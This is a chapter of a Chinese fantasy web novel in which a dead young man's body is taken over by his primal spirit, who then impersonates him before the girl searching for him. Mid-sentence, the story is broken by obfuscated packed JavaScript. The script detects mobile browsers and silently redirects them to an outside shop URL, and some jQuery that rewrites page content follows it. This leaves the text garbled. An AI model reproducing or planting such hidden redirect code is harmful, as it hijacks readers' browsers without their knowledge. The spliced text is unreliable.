21. 重生
作品:《万年春》 江畔,迷雾渐渐消散,现出还有画面的水镜。
还没闭合的水镜里,黑洞洞的树林,枝桠旁枝斜出,像一张有紧有疏的网,笼罩在镜幕水汽翻涌的四角。
躺在地上的人在其中渐渐与周围的夜色融为一体,只有几个触目惊心的血窟窿在其中分外违和,红艳艳的伤口挂着外翻的血肉,瑰色逶迤,牵扯出粘稠的丝状粘膜,不辨形状。
一张脸只见惨白。
胸口也不再有起伏,一点也没有。
一只乌鸦去而复返,停在他身边的空地上。
它蹑着脚掌朝这具身体靠近了两步,走得小心翼翼,翅膀收束在身体两侧,探头去闻他身上暴露在外的伤口。
鲜血的味道吸引着它,它挥了挥翅膀,黑色的羽翼震动着兴奋。
它不再小心翼翼,挥动翅膀几个扑腾之间就在他身上着陆,歪头凑近他的鼻息,已经没有任何气息流动了。
它放心地回身调整着位置,寻到一处最适合进食的地方,扒住躺着的人胸前最大的窟窿,埋头凑向他的胸腔。
尖喙刚触上一点粘稠的血液,两只黑曜石般的眼睛就干涩地滞住,流露出一点恐惧的神情。
它凝神去听,扁扁的头微微侧过。
脚下血色弥漫的地方,微微的颤动带着整个胸膛的起伏越来越明显,心跳一声比一声响。
它控制不住地向后倒,翅膀急切地开始挥动,想马上逃离这里。
下一瞬,它僵在空中,身体不受控制地裹着疾风向外摔去,狠狠撞击上一颗大树,一声震颤,胸腔轰鸣,混着血腥气。
模糊的余光里,它看见那个明明已经死去的人站起来,在迎上他冷峻目光的那一刻,它好像在他的眼睛里看到了自己的死期。
黑色的绒毛四落,一声闷重的落地,那只鸟还未闭上它的眼睛。
“陆熙迟”若有所感地看了一眼夜空中的某片云,凝视片刻。
水镜破碎,云雾蒸腾。
尚在昏迷中的陆熙迟遭受反噬,心头的灼烧感挥之不去,一口鲜血直奔而出。
“殿下!”
从瘴雾林回来的木峥还不知发生了什么事,只见他家殿下倒在野外江畔的树下,脸色苍白,嘴边挂血。
“殿下!殿下,醒醒!”
木峥扶着昏迷不醒的纪明渊,四顾无人,最后定定心神,决定带殿下回濯鳞宫找大祭司。
醒来后的陆熙迟看了一眼身上大大小小的窟窿,抚上胸前被啃咬得坑坑洼洼的伤口,感受着那里面心脏的跳动,轻闭双眼,他听见身体里的另一个声音说:“我还活着?”
“你已经死了。”他冷冷出声。
“死了?那你是谁?”
操控着身体的陆熙迟缓缓说了一个名字:“长冥。”
陆熙迟停顿一会儿,缓缓吐出心中疑问:“你为什么,会在我的身体里?我为什么死了,还能在这具身体里?”
“你问题太多。”
长冥抬眼,压住眼上的伤,不规则的血痕在眉下,就像一朵妖冶的花,托住一双凛冽的眼睛。
虽然身上都是令人见之失色的血淋淋的伤,但长冥依旧不见痛色地朝前走。
“你还有执念,意识不愿意离开这具身体。”
“那我现在算活着吗?”
“说了,你已经死了。”
“那你……”感受到这具身体现在的主人的不耐烦,陆熙迟识相地没再问,只是心里自己琢磨着这件事。
“你太吵了。”
“我没说话呀。”陆熙迟感到一阵莫名。
“我能听见你在想什么。”
“哦,那我不想了。”
说不想就不想是不可能的,陆熙迟控制不住地又开始想长冥为什么能听见自己说话。
像是终于不耐烦,长冥言简意赅地回答:“我是你的元神,你是我的转世,我能看见你所看到的所有,感受你所感受到的一切。”
“一切?”
陆熙迟大脑瞬间一片空白,将他说的话捋了又捋,才终于有了一点头绪:也就是说,长冥现在接管了他的这具身体,保留了陆熙迟的一切记忆,他们是分开又统一的两个人。
“那你说我是因为有执念才留在了这具身体里,那是不是我的执念消失了,我也就消失了?”
长冥沉吟片刻,“对。”
“你是神仙吗?”
长冥没说话。
陆熙迟觉得很不公平,为什么长冥能听见他的心声,陆熙迟却听不见他的。
“因为现在这具身体的主人是我。”
又被听见了。
陆熙迟暗自吐气。
“你能帮我去救云意吗,如果你是神仙的话,应该能很好地保护她。”
“好。”
陆熙迟以为他会问为什么,又或者会问点别的,但他就回了一个好字,好像一开始长冥就知道他会说什么。
也是,毕竟长冥知道陆熙迟的一切,包括陆熙迟关心的云意。
陆熙迟天人交战了一番,以为长冥会嫌他吵,没想到他什么也没说。
“有人来了。”
长冥望向远处被惊飞的乌鸦,低低出声,陆熙迟自觉地闭上了嘴。
“陆熙迟——”
“陆熙迟——”
声音若有似无,距离还很远。
“是云意!”
“云意来找我们了!”
我们?这个词从他嘴巴里说出来没做任何停顿,仿佛她真的是来找陆熙迟和长冥两个人的。
“她找的是你,不是我。”长冥面无表情地纠正。
话音一转,长冥看似苦恼地说:“你说,我该用何种面目来见她?”
长久的安静。
那头呼唤的声音越来越大。
她快来了。
“你……为什么不就做你自己?”
“做我自己?那如果她问我为何转变如此之大?我又该怎么回答?”
是的,长冥和陆熙迟是截然不同的两个人。陆熙迟如是想。
长冥慢慢地说:“我告诉她真相?告诉她,你想见的陆熙迟已经死了。”
“别!她如果知道我已经死了,她会难过的。”
“那我扮作你?”长冥适时地给出建议。
犹豫了很久,陆熙迟最终缓缓吐出一个字:“好。”
长冥按照记忆中陆熙迟的样子,脸上撇去冷峻的表情,一手扶住胸口,挺拔的背也无力地垂下来,眼睛里隐去锋利的棱角,敛眸难忍地看着前方,虚弱又坚毅。
脚步声渐近。
他低低呼唤:“云意……”
气若游丝。
“陆熙迟!”是惊喜的声音。
但听上去快哭了。
长冥眼瞳里闪过一丝暗色,再抬头时却是难忍的激动。
“云意……”
他支撑不住,倒下来,跌入一个柔软的怀抱。
“我本要去找你的……”脸上的血口跟着他说话时的动作而浮动,好像下一刻就要被这些伤口吞噬掉。
“你别再说话了,你一直在流血……”
云意把手轻轻搭上陆熙迟血流不止的伤口,借着一点月光,看到了他身上大大小小的血窟窿,眼泪瞬间夺出眼眶。
“陆熙迟,对不起,对不起……”
要不是她擅作主张把他送走,也不会中了纪明渊的圈套。
他的伤口还在流血,她想捂住不让它再流,好像再流,怀里的人的生命就会再流失多一分。
“没关系,不关你的事……”长冥倒在她怀里,看着她的眼泪,不动声色地伸手接住。
啪嗒。
在满手血污里开出了一朵花。
“我带你去治伤。”
说着,云意把人扶起来,一缕流光从袖中窜出,“白曦在另一个方向找你,我们先与她会合。”
“人还活着?”
跟着光印而来的白曦惊讶地看着云意扶着的男人,一身的血,还在往下滴。
形状惊骇。
“伤成这样居然还能活着……”
“有没有可以疗伤的地方,他快不行了。”云意焦急地问。
“我刚在那边看见有处山洞,先把他带过去吧。”
“好。”
云意扶着陆熙迟,一步一步走得极为小心。
“怎么不说话了。”长冥见陆熙迟如此安静,用心音询问。
“云意哭了。”
“嗯。”
“你可不可以快点好起来,不要让她再难过了。”
长久的沉默。
长冥用对傻子的语气对陆熙迟说话:“这伤是我主动受的?我想好就好?那怎么没见你想活着就活着?”
听懂弦外之音的陆熙迟难过地说:“对不起,连累你替我疼了。”
“嗯。”长冥安然地接受了这份道歉。
来到这处山洞,灰褐色的岩石上长了满墙藤蔓,乌黑的环境里看不大清具体是什么藤蔓,隐隐还能听见水流的声音。
白曦点亮一支烛火,放在墙上一处凹陷的洞里,整个山洞瞬间被昏黄的灯光点亮。
借着这点光,云意把陆熙迟安稳放在一处平坦的地方,挥手就要割破自己的手。
看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128423|194376||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
懂她要做什么,长冥神色一凛。
白曦拦住她,“做什么?”
“救人啊。”
“他伤成这个样子,你想过你要流多少血才能把人救回来吗?”
白曦的语气很冷,但云意顾不了这么多了。
“可是他伤得这么重,我只有这个办法了。”
白曦看着云意,感受到的是她身上浑身发冷的无助和害怕。
“不行,你这么救他会出事的,一定还有别的办法。”
“顾不上这么多了。”
云意抽出手,指尖化刃划破手臂,一蹲下就对上一双清明的眼睛,压在阴影之下。
“陆熙迟……”
云意第一次在这双眼睛里看到这么凛冽的神情,她不太顺畅地解释道:“我、我是什么,你已经知道了,我的血可以让你的伤不那么痛,你别害怕。”
她让他别害怕,她的声音却是抖的。
“你的血又不是万能的,顶多让他再多活几天。”身后的白曦一语点破。
“别说了。”
就是因为知道,所以她更加害怕。
“我不要你的血。”
长冥清楚地说完这句话,没有气若游丝,没有欲拒还迎,就是明确的拒绝。
他胸口上的血已经没有再流,暗红色的一片糊作一团,云意看得皱眉。
“云意,你跟我出来。”
说完,白曦转身离开了。
云意跟着白曦来到离山洞不远处的坡下,月光清朗。
“你真的要救他?”白曦看着云意的眼睛,认真地问道。
“你有办法?”云意几乎是立刻意识到白曦的言外之意,神色难掩激动。
“是有一个。”声音比刚才低了些。
“快说啊。”
迎着云意激动的目光,白曦缓缓说道:“我们狐族,有一秘术……”
面前的这双眼睛刚刚止住眼泪,潋滟的水光浮动在眼眸上,一点一点地在黑夜里闪烁,单纯又天真。
白曦说不出口了。
“快说啊。”云意见这么半天还没有下文,急急催促道。
“就是……这个秘术,它……它需要两个人阴阳调和,再加上唯方一梦中的术法加成,可活死人、肉白骨。”
“调、调和?”
几乎是立刻,云意就红透了,“你们的秘术,怎么如此奇怪……如果可以起死回生,那不是乱了天地秩序?”
“两情相悦者才可进入唯方梦,梦里会发生什么谁也说不清,死在里面的也不是没有,凡事都有代价,想得到什么,必得失去什么。也不算乱了天地秩序。”
“你这么说的时候,好像也在说服自己。”
白曦扯起嘴角,本想笑一下,可是发现笑不出来,只有无边苦涩笼罩着她,最终扯出一声叹气。
“那今晚可以吗?”
她怕陆熙迟撑不过今晚。
白曦抬头看着云层后的微有残角的月亮,“要到月圆,还需要一天。”
“你真想好了?不后悔?”
云意望向月亮,“我只希望,他能好好活着,每日乘船摇桨,钓鱼逗猫,他应该很喜欢这种生活。”
屋内。
长冥倚在墙上,一株藤蔓伸到前面,他抓着辨认,叶子像缩小版的荷叶,他记得这种草在凡间叫地不容。
“她以前都是这样的吗?”异常安静的某人终于出声。
“什么样?”
“我生病好那么快不是自己好的,对不对?是她喂血给我,我才能好得这么快……还有那次,我和她在山坡上被袭击,也是她救的我,对不对……”
长冥垂着眸,认真地听他细数过去每一次云意为他做的,默不作声。
其实,他在转世的人身上是不会有自己的意识的,很多时候只是走马观花地看一看,等元神回到自己的身体里之后,再把他在凡间的一切当作过去吃的一餐饭一样忘记。
可是这次转世不太一样,这只朏朏的血不仅救了陆熙迟,也让他在凡间的身体里唤起了自己的意识,他感受着陆熙迟感受到的一切,在陆熙迟的视角里,看着她出现又离开。
陆熙迟虽然有执念,还不至于大到可以避开死亡又往生的天地法则。
是他,他占据了这具身体,伪装成陆熙迟继续活着,不知道是出于对这个人的怜悯还是又存有什么他自己都没察觉到的情绪,他把陆熙迟留在了身体里,让陆熙迟变成了那个只能旁观的人。
变成他以前那样。
长冥垂下眸,听着身体里另一个声音发出的愧疚和懊悔。
心绪不平。

